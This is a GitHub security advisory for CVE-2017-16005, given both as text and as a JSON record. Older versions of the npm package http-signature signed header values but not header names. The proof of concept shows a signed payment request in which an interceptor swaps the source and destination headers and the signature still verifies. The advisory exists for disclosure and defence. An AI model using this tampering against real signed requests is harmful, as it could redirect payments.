GHSA-Q257-VV4P-FG92

Vulnerability from github – Published: 2018-11-09 17:49 – Updated: 2023-09-08 23:24
VLAI?
Summary
Header Forgery in http-signature
Details

Affected versions of http-signature contain a vulnerability which can allow an attacker in a privileged network position to modify header names and change the meaning of the request, without requiring an updated signature.

This problem occurs because vulnerable versions of http-signature sign the contents of headers, but not the header names.

Proof of Concept

Consider this to be the initial, untampered request:

POST /pay HTTP/1.1
Host: example.com
Date: Thu, 05 Jan 2012 21:31:40 GMT
X-Payment-Source: src@money.com
X-Payment-Destination: dst@money.com
Authorization: Signature keyId="Test",algorithm="rsa-sha256",headers="x-payment-source x-payment-destination" MDyO5tSvin5...

And the request is intercepted and tampered as follows:

X-Payment-Source: dst@money.com // Emails switched
X-Payment-Destination: src@money.com
Authorization: Signature keyId="Test",algorithm="rsa-sha256",headers="x-payment-destination x-payment-source" MDyO5tSvin5...

In the resulting responses, both requests would pass signature verification without issue.

src@money.com\n
dst@money.com\n

Recommendation

Update to version 0.10.0 or higher.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-signature"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:50:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `http-signature` contain a vulnerability which can allow an attacker in a privileged network position to modify header names and change the meaning of the request, without requiring an updated signature. \n\nThis problem occurs because vulnerable versions of `http-signature` sign the contents of headers, but not the header names.\n\n## Proof of Concept\n\nConsider this to be the initial, untampered request:\n```http\nPOST /pay HTTP/1.1\nHost: example.com\nDate: Thu, 05 Jan 2012 21:31:40 GMT\nX-Payment-Source: src@money.com\nX-Payment-Destination: dst@money.com\nAuthorization: Signature keyId=\"Test\",algorithm=\"rsa-sha256\",headers=\"x-payment-source x-payment-destination\" MDyO5tSvin5...\n```\n\nAnd the request is intercepted and tampered as follows:\n```http\nX-Payment-Source: dst@money.com // Emails switched\nX-Payment-Destination: src@money.com\nAuthorization: Signature keyId=\"Test\",algorithm=\"rsa-sha256\",headers=\"x-payment-destination x-payment-source\" MDyO5tSvin5...\n```\n\nIn the resulting responses, both requests would pass signature verification without issue.\n```\nsrc@money.com\\n\ndst@money.com\\n\n```\n\n\n\n## Recommendation\n\nUpdate to version 0.10.0 or higher.",
  "id": "GHSA-q257-vv4p-fg92",
  "modified": "2023-09-08T23:24:59Z",
  "published": "2018-11-09T17:49:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16005"
    },
    {
      "type": "WEB",
      "url": "https://github.com/joyent/node-http-signature/issues/10"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-q257-vv4p-fg92"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/318"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Header Forgery in http-signature"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…